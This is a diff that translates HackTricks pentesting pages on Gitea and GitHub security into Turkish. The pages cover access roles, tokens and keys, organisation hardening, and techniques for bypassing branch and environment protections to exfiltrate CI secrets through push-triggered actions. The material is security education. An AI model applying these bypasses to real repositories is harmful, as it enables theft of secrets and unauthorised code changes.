erişim: ![](<../../images/image (118).png>) ### Teams & Users -In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**: +Bir depoda, **org yöneticisi** ve **repo yöneticileri** (organizasyon tarafından izin verilirse) işbirlikçilere (diğer kullanıcılara) ve takımlara verilen **rolleri** **yönetebilir**. **3** olası **rol** vardır: -- Administrator -- Write -- Read +- Yönetici +- Yazma +- Okuma ## Gitea Authentication ### Web Access -Using **username + password** and potentially (and recommended) a 2FA. +**Kullanıcı adı + şifre** kullanarak ve potansiyel olarak (ve önerilen) bir 2FA ile. ### **SSH Keys** -You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) +Hesabınızı, ilgili **özel anahtarın sizin adınıza işlem yapmasına** izin veren bir veya birkaç genel anahtar ile yapılandırabilirsiniz. [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) #### **GPG Keys** -You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. +Bu anahtarlarla kullanıcıyı taklit edemezsiniz, ancak kullanmazsanız, **imzasız gönderim yaparken keşfedilme olasılığınız** olabilir. ### **Personal Access Tokens** -You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) +Bir uygulamanın hesabınıza erişim sağlaması için kişisel erişim token'ı oluşturabilirsiniz. Kişisel erişim token'ı, hesabınıza tam erişim sağlar: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) ### Oauth Applications -Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet: +Kişisel erişim token'ları gibi **Oauth uygulamaları** da hesabınıza ve hesabınızın erişim sağladığı yerlere **tam erişim** sağlayacaktır; çünkü [belgelere](https://docs.gitea.io/en-us/oauth2-provider/#scopes) göre, kapsamlar henüz desteklenmiyor: ![](<../../images/image (194).png>) ### Deploy keys -Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos. +Deploy anahtarları, depoya yalnızca okuma veya yazma erişimine sahip olabilir, bu nedenle belirli depoları tehlikeye atmak için ilginç olabilir. ## Branch Protections -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +Dal korumaları, kullanıcılara bir depo üzerinde **tam kontrol vermemek** için tasarlanmıştır. Amaç, bazı dallara kod yazabilmek için **birkaç koruma yöntemi koymaktır**. -The **branch protections of a repository** can be found in _https://localhost:3000/\/\/settings/branches_ +Bir deponun **dal korumaları** _https://localhost:3000/\/\/settings/branches_ adresinde bulunabilir. > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> **Organizasyon düzeyinde bir dal koruması ayarlamak mümkün değildir.** Bu nedenle, hepsi her depoda belirtilmelidir. -Different protections can be applied to a branch (like to master): +Bir dala (örneğin master'a) farklı korumalar uygulanabilir: -- **Disable Push**: No-one can push to this branch -- **Enable Push**: Anyone with access can push, but not force push. -- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push) -- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs. -- **Enable Status checks:** Require status checks to pass before merging. -- **Require approvals**: Indicate the number of approvals required before a PR can be merged. -- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs. -- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass) -- **Block merge on official review requests**: If there official review requests it cannot be merged -- **Dismiss stale approvals**: When new commits, old approvals will be dismissed. -- **Require Signed Commits**: Commits must be signed. -- **Block merge if pull request is outdated** -- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes +- **Push'i Devre Dışı Bırak**: Hiç kimse bu dala push yapamaz. +- **Push'i Etkinleştir**: Erişimi olan herkes push yapabilir, ancak zorla push yapamaz. +- **Beyaz Liste Kısıtlı Push**: Sadece seçilen kullanıcılar/takımlar bu dala push yapabilir (ancak zorla push yok). +- **Birleştirme Beyaz Listesini Etkinleştir**: Sadece beyaz listeye alınmış kullanıcılar/takımlar PR'leri birleştirebilir. +- **Durum kontrollerini etkinleştir:** Birleştirmeden önce durum kontrollerinin geçmesini gerektirir. +- **Onayları gerektir**: Bir PR'nin birleştirilmeden önce gereken onay sayısını belirtir. +- **Onayları beyaz listeye kısıtla**: PR'leri onaylayabilecek kullanıcıları/takımları belirtir. +- **Reddedilen incelemelerde birleştirmeyi engelle**: Değişiklik talep edilirse, birleştirilemez (diğer kontroller geçse bile). +- **Resmi inceleme taleplerinde birleştirmeyi engelle**: Resmi inceleme talepleri varsa, birleştirilemez. +- **Eski onayları geçersiz kıl**: Yeni commitler olduğunda, eski onaylar geçersiz kılınır. +- **İmzalı Commitleri Gerektir**: Commitler imzalanmalıdır. +- **Pull request güncel değilse birleştirmeyi engelle** +- **Korunan/Korunmayan dosya desenleri**: Değişikliklere karşı korumak/kaldırmak için dosya desenlerini belirtir. > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> Gördüğünüz gibi, bir kullanıcının bazı kimlik bilgilerini elde etmeyi başarsanız bile, **depolar korumalı olabilir ve bu da örneğin CI/CD hattını tehlikeye atmak için kodu master'a push yapmanızı engelleyebilir.** {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index cdad12b57..5189b89d4 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -1,42 +1,42 @@ -# Github Security +# Github Güvenliği {{#include ../../banners/hacktricks-training.md}} -## What is Github +## Github Nedir -(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**. +(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Yüksek seviyede, **GitHub, geliştiricilerin kodlarını depolamalarına ve yönetmelerine, ayrıca kodlarındaki değişiklikleri takip etmelerine ve kontrol etmelerine yardımcı olan bir web sitesi ve bulut tabanlı hizmettir**. -### Basic Information +### Temel Bilgiler {{#ref}} basic-github-information.md {{#endref}} -## External Recon +## Harici Keşif -Github repositories can be configured as public, private and internal. +Github depoları kamuya açık, özel ve dahili olarak yapılandırılabilir. -- **Private** means that **only** people of the **organisation** will be able to access them -- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it -- **Public** means that **all internet** is going to be able to access it. +- **Özel** demek, **sadece** **kuruluş** üyelerinin erişebileceği anlamına gelir. +- **Dahili** demek, **sadece** **şirket** üyelerinin (bir şirketin birden fazla kuruluşu olabilir) erişebileceği anlamına gelir. +- **Kamuya açık** demek, **tüm internet** erişebilecek demektir. -In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**. +**Hedef almak istediğiniz kullanıcı, depo veya kuruluşu** biliyorsanız, **her depoda** hassas bilgileri bulmak veya **hassas bilgi sızıntılarını** aramak için **github dorks** kullanabilirsiniz. ### Github Dorks -Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**. +Github, **bir kullanıcı, depo veya kuruluş belirterek bir şey aramanıza** olanak tanır. Bu nedenle, hassas bilgilere yakın görünecek bir dizi dork ile hedefinizdeki **potansiyel hassas bilgileri** kolayca arayabilirsiniz. -Tools (each tool contains its list of dorks): +Araçlar (her araç kendi dork listesini içerir): - [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks)) - [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) - [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists)) -### Github Leaks +### Github Sızıntıları -Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits). +Lütfen, github dorklarının sızıntıları aramak için de kullanılabileceğini unutmayın. Bu bölüm, **her depoyu indirip içlerinde hassas bilgileri arayan** araçlara adanmıştır (belirli bir commit derinliğini kontrol etme dahil). -Tools (each tool contains its list of regexes): +Araçlar (her araç kendi regex listesini içerir): - [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) - [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) @@ -47,202 +47,190 @@ Tools (each tool contains its list of regexes): - [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) > [!WARNING] -> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +> Bir depoda sızıntı ararken ve `git log -p` gibi bir şey çalıştırırken, **diğer commit'leri içeren diğer dallar** olabileceğini unutmayın! -### External Forks +### Harici Forklar -It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork). +**Pull request'leri kötüye kullanarak depoları tehlikeye atmak** mümkündür. Bir deponun savunmasız olup olmadığını bilmek için genellikle Github Actions yaml yapılandırmalarını okumanız gerekir. [**Bununla ilgili daha fazla bilgi aşağıda**](./#execution-from-a-external-fork). -### Github Leaks in deleted/internal forks +### Silinmiş/Dahili Forklarda Github Sızıntıları -Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here: +Silinmiş veya dahili olsa bile, github depolarının forklarından hassas veriler elde etmek mümkün olabilir. Bunu burada kontrol edin: {{#ref}} accessible-deleted-data-in-github.md {{#endref}} -## Organization Hardening +## Kuruluş Güçlendirme -### Member Privileges +### Üye Ayrıcalıkları -There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations//settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs). +Kuruluşun **üyelerine** atanabilecek bazı **varsayılan ayrıcalıklar** vardır. Bunlar `https://github.com/organizations//settings/member_privileges` sayfasından veya [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) üzerinden kontrol edilebilir. -- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**. -- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories. -- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages. -- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it. - - _I couldn't find this info in the APIs response, share if you do_ -- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**. - - _I couldn't find this info in the APIs response, share if you do_ -- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.** - - _I couldn't find this info in the APIs response, share if you do_ -- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled. - - _I couldn't find this info in the APIs response, share if you do_ -- **More things can be configured** in this page but the previous are the ones more security related. +- **Temel izinler**: Üyeler, kuruluş depoları üzerinde None/Okuma/yazma/Yönetici izinlerine sahip olacaktır. Tavsiye edilen **None** veya **Okuma**dır. +- **Depo fork'lama**: Gerekli değilse, üyelerin kuruluş depolarını fork'lamalarına **izin vermemek** daha iyidir. +- **Sayfa oluşturma**: Gerekli değilse, üyelerin kuruluş depolarından sayfa yayınlamalarına **izin vermemek** daha iyidir. Gerekliyse, kamuya açık veya özel sayfalar oluşturmasına izin verebilirsiniz. +- **Entegrasyon erişim talepleri**: Bu etkinleştirildiğinde, dış işbirlikçileri bu kuruluş ve kaynaklarına erişim için GitHub veya OAuth uygulamalarına erişim talep edebilecektir. Genellikle gereklidir, ancak gerek yoksa, devre dışı bırakmak daha iyidir. +- _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_ +- **Depo görünürlüğü değişikliği**: Etkinleştirildiğinde, **depo** için **yönetici** izinlerine sahip **üyeler**, **görünürlüğünü değiştirme** yetkisine sahip olacaktır. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri depo görünürlüklerini değiştirebilir. Eğer insanların şeyleri **kamuya açık** yapmasını istemiyorsanız, bunun **devre dışı** olduğundan emin olun. +- _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_ +- **Depo silme ve transfer**: Etkinleştirildiğinde, depo için **yönetici** izinlerine sahip üyeler, kamuya açık ve özel **depoları** **silme** veya **transfer etme** yetkisine sahip olacaktır. +- _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_ +- **Üyelerin ekip oluşturmasına izin verme**: Etkinleştirildiğinde, kuruluşun herhangi bir **üyesi** yeni **ekipler** oluşturabilecektir. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri yeni ekipler oluşturabilir. Bunun devre dışı bırakılması daha iyidir. +- _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_ +- **Bu sayfada daha fazla şey yapılandırılabilir**, ancak önceki olanlar daha çok güvenlikle ilgilidir. -### Actions Settings +### Eylem Ayarları -Several security related settings can be configured for actions from the page `https://github.com/organizations//settings/actions`. +`https://github.com/organizations//settings/actions` sayfasından eylemler için çeşitli güvenlikle ilgili ayarlar yapılandırılabilir. > [!NOTE] -> Note that all this configurations can also be set on each repository independently +> Tüm bu yapılandırmaların her depoda bağımsız olarak da ayarlanabileceğini unutmayın. -- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run. - - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) -- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators. - - _I couldn't find an API with this info, share if you do_ -- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository. - - _I couldn't find an API with this info, share if you do_ -- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows. - - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) +- **Github eylem politikaları**: Hangi depoların iş akışlarını çalıştırabileceğini ve hangi iş akışlarının izin verileceğini belirtmenize olanak tanır. **Hangi depoların** izin verileceğini belirtmek ve tüm eylemlerin çalıştırılmasına izin vermemek tavsiye edilir. +- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) +- **Dış işbirlikçilerden fork pull request iş akışları**: Tüm dış işbirlikçileri için **onay gerektirmesi** tavsiye edilir. +- _Bu bilgiyi içeren bir API bulamadım, bulursanız paylaşın_ +- **Fork pull request'lerden iş akışlarını çalıştırma**: **Pull request'lerden iş akışlarını çalıştırmak** kesinlikle **tavsiye edilmez**, çünkü fork kaynağının bakımcıları, kaynak deposunda okuma izinlerine sahip token'ları kullanma yetkisi alacaktır. +- _Bu bilgiyi içeren bir API bulamadım, bulursanız paylaşın_ +- **İş akışı izinleri**: **Sadece okuma depo izinleri** vermek kesinlikle tavsiye edilir. GITHUB_TOKEN'ın kötüye kullanılmasını önlemek için yazma ve pull request oluşturma/onaylama izinleri vermekten kaçınılması önerilir. +- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) -### Integrations +### Entegrasyonlar -_Let me know if you know the API endpoint to access this info!_ +_Bu bilgiyi erişmek için API uç noktasını biliyorsanız bana bildirin!_ -- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them). -- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them). +- **Üçüncü taraf uygulama erişim politikası**: Her uygulamanın erişimini kısıtlamak ve yalnızca gerekli olanlara izin vermek tavsiye edilir (gözden geçirdikten sonra). +- **Yüklenmiş GitHub Uygulamaları**: Sadece gerekli olanların (gözden geçirdikten sonra) izin verilmesi tavsiye edilir. -## Recon & Attacks abusing credentials +## Kimlik Bilgilerini Kötüye Kullanarak Keşif ve Saldırılar -For this scenario we are going to suppose that you have obtained some access to a github account. +Bu senaryo için, bir github hesabına erişim sağladığınızı varsayacağız. -### With User Credentials +### Kullanıcı Kimlik Bilgileri ile -If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.** +Bir şekilde bir kuruluş içindeki bir kullanıcı için kimlik bilgilerine sahipseniz, **giriş yapabilir** ve hangi **şirket ve kuruluş rollerine sahip olduğunuzu** kontrol edebilirsiniz, eğer bir ham üye iseniz, ham üyelerin hangi **izinlere sahip olduğunu**, hangi **gruplarda** olduğunuzu, hangi **izinlere sahip olduğunuzu** ve **depoların nasıl korunduğunu** kontrol edebilirsiniz. -Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. +**2FA'nın kullanılabileceğini** unutmayın, bu nedenle bu bilgilere yalnızca **o kontrolü geçebiliyorsanız** erişebilirsiniz. > [!NOTE] -> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. +> Eğer **`user_session` çerezini çalmayı başarırsanız** (şu anda SameSite: Lax ile yapılandırılmıştır), kimlik bilgilerine veya 2FA'ya ihtiyaç duymadan **kullanıcıyı tamamen taklit edebilirsiniz**. -Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful. +Aşağıdaki bölümde [**dal koruma atlamaları**](./#branch-protection-bypass) hakkında kontrol edin, faydalı olabilir. -### With User SSH Key +### Kullanıcı SSH Anahtarı ile -Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). - -With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to: +Github, **kullanıcıların** kendi adlarına kod dağıtmak için **kimlik doğrulama yöntemi olarak kullanılacak SSH anahtarları** ayarlamalarına olanak tanır (2FA uygulanmaz). +Bu anahtar ile, kullanıcının bazı ayrıcalıklara sahip olduğu **depolar üzerinde değişiklikler** yapabilirsiniz, ancak bunu github api'sine erişmek için kullanamazsınız. Ancak, erişiminiz olan depolar ve kullanıcı hakkında bilgi almak için **yerel ayarları listeleyebilirsiniz**: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` +Eğer kullanıcı adını github kullanıcı adı olarak yapılandırmışsa, hesabında ayarladığı **açık anahtarları** _https://github.com/\.keys_ adresinden erişebilirsiniz, bulduğunuz özel anahtarın kullanılabilir olduğunu doğrulamak için bunu kontrol edebilirsiniz. -If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used. +**SSH anahtarları** ayrıca **dağıtım anahtarları** olarak depolarda ayarlanabilir. Bu anahtara erişimi olan herkes **bir depodan projeleri başlatabilecektir**. Genellikle farklı dağıtım anahtarlarına sahip bir sunucuda, yerel dosya **`~/.ssh/config`** hangi anahtarın ilgili olduğuna dair bilgi verecektir. -**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. +#### GPG Anahtarları -#### GPG Keys - -As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. - -Check locally if the current user has any key with: +Açıklandığı gibi [**burada**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) bazen taahhütleri imzalamak gerekebilir yoksa keşfedilebilirsiniz. +Mevcut kullanıcının herhangi bir anahtara sahip olup olmadığını yerel olarak kontrol edin: ```shell gpg --list-secret-keys --keyid-format=long ``` +### Kullanıcı Tokeni ile -### With User Token +[**Kullanıcı Tokenleri hakkında temel bilgileri kontrol edin**](basic-github-information.md#personal-access-tokens) için bir giriş. -For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens). +Bir kullanıcı tokeni, HTTPS üzerinden Git için **şifre yerine** kullanılabilir veya [**API'ye Temel Kimlik Doğrulaması ile kimlik doğrulamak için**](https://docs.github.com/v3/auth/#basic-authentication) kullanılabilir. Ekli olan ayrıcalıklara bağlı olarak farklı eylemler gerçekleştirebilirsiniz. -A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions. +Bir Kullanıcı tokeni şöyle görünür: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` -A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` +### Oauth Uygulaması ile -### With Oauth Application +[**Github Oauth Uygulamaları hakkında temel bilgileri kontrol edin**](basic-github-information.md#oauth-applications) için bir giriş. -For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications). +Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Oauth Uygulaması** oluşturabilir. -An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +Bir Oauth uygulamasının talep edebileceği [kapsamlar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) bunlardır. Her zaman kabul etmeden önce talep edilen kapsamları kontrol etmelisiniz. -These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them. +Ayrıca, temel bilgilerin açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir. -Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. +### Github Uygulaması ile -### With Github Application +[**Github Uygulamaları hakkında temel bilgileri kontrol edin**](basic-github-information.md#github-applications) için bir giriş. -For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications). +Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Github Uygulaması** oluşturabilir. -An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +Ayrıca, temel bilgilerin açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir. -Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. +## Github Eylemini Ele Geçirme ve Kötüye Kullanma -## Compromise & Abuse Github Action - -There are several techniques to compromise and abuse a Github Action, check them here: +Bir Github Eylemini ele geçirmek ve kötüye kullanmak için birkaç teknik vardır, burada kontrol edin: {{#ref}} abusing-github-actions/ {{#endref}} -## Branch Protection Bypass +## Dal Koruma Atlatma -- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way. - - _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._ -- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch. -- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**. - - When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.** -- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections. -- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections. -- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything. -- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back. -- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`). - - If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**. +- **Bir dizi onay gerektir**: Eğer birkaç hesabı ele geçirdiyseniz, diğer hesaplardan PR'lerinizi kabul edebilirsiniz. Eğer PR'yi oluşturduğunuz hesaba sahipseniz, kendi PR'nizi kabul edemezsiniz. Ancak, eğer repo içinde bir **Github Eylemi** ortamına erişiminiz varsa, **GITHUB_TOKEN** kullanarak **PR'nizi onaylayabilir** ve bu şekilde 1 onay alabilirsiniz. +- _Bu ve Kod Sahipleri kısıtlaması için not: genellikle bir kullanıcı kendi PR'lerini onaylayamaz, ancak eğer onaylayabiliyorsanız, PR'lerinizi kabul etmek için bunu kötüye kullanabilirsiniz._ +- **Yeni commitler gönderildiğinde onayları iptal et**: Eğer bu ayarlanmadıysa, geçerli kod gönderebilir, birinin onaylamasını bekleyebilir ve kötü niyetli kod ekleyip korunan dal ile birleştirebilirsiniz. +- **Kod Sahiplerinden inceleme gerektir**: Eğer bu etkinleştirildiyse ve bir Kod Sahibiyseniz, **bir Github Eylemi PR'nizi oluşturabilir ve ardından kendiniz onaylayabilirsiniz**. +- Bir **CODEOWNER dosyası yanlış yapılandırıldığında** Github şikayet etmez ama kullanmaz. Bu nedenle, yanlış yapılandırıldığında **Kod Sahipleri koruması uygulanmaz.** +- **Belirtilen aktörlerin pull request gereksinimlerini atlamasına izin ver**: Eğer bu aktörlerden biriyseniz, pull request korumalarını atlayabilirsiniz. +- **Yönetici dahil et**: Eğer bu ayarlanmadıysa ve repo yöneticisiyseniz, bu dal korumalarını atlayabilirsiniz. +- **PR Ele Geçirme**: Başkasının PR'sini **kötü niyetli kod ekleyerek değiştirebilir, sonuçta oluşan PR'yi kendiniz onaylayabilir ve her şeyi birleştirebilirsiniz.** +- **Dal Koruma Kaldırma**: Eğer bir **repo yöneticisiyseniz korumaları devre dışı bırakabilir**, PR'nizi birleştirebilir ve korumaları geri ayarlayabilirsiniz. +- **Push korumalarını atlama**: Eğer bir repo **sadece belirli kullanıcıların** dallarda push (kod birleştirme) yapmasına izin veriyorsa (dal koruması tüm dalları koruyor olabilir ve joker karakter `*` kullanıyor olabilir). +- Eğer **repo üzerinde yazma erişiminiz varsa ama dal koruması nedeniyle kod push yapmanıza izin verilmiyorsa**, yine de **yeni bir dal oluşturabilir** ve içinde **kod gönderildiğinde tetiklenen bir github eylemi oluşturabilirsiniz**. **Dal koruması dal oluşturulana kadar koruma sağlamayacağından**, bu dal üzerindeki ilk kod push **github eylemini tetikleyecektir**. -## Bypass Environments Protections +## Ortam Koruma Atlatma -For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments). +[**Github Ortamı hakkında temel bilgileri kontrol edin**](basic-github-information.md#git-environments) için bir giriş. -In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one). - -Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**. +Eğer bir ortam **tüm dallardan erişilebiliyorsa**, **korunmuyor** demektir ve ortam içindeki gizli bilgilere kolayca erişebilirsiniz. Tüm dalların **korunduğu** (isimlerini belirterek veya `*` kullanarak) repolar bulabileceğinizi unutmayın; bu senaryoda, **kod gönderebileceğiniz bir dal bulun** ve yeni bir github eylemi oluşturarak gizli bilgileri **sızdırabilirsiniz** (veya birini değiştirebilirsiniz). +Unutmayın, **tüm dalların korunduğu** (joker karakter `*` ile) bir kenar durumu bulabilirsiniz; burada **dallara kimin kod gönderebileceği** belirtilmiştir (_bunu dal korumasında belirtebilirsiniz_) ve **kullanıcınıza izin verilmez**. Yine de özel bir github eylemi çalıştırabilirsiniz çünkü bir dal oluşturabilir ve kendisi üzerinde push tetikleyicisini kullanabilirsiniz. **Dal koruması yeni bir dalda push'a izin verir, bu nedenle github eylemi tetiklenecektir.** ```yaml push: # Run it when a push is made to a branch - branches: - - current_branch_name #Use '**' to run when a push is made to any branch +branches: +- current_branch_name #Use '**' to run when a push is made to any branch ``` +Not edin ki **dal oluşturulduktan sonra** **dal koruması yeni dala uygulanacaktır** ve bunu değiştiremeyeceksiniz, ancak o zamana kadar sırları zaten ele geçirmiş olacaksınız. -Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets. +## Süreklilik -## Persistence +- 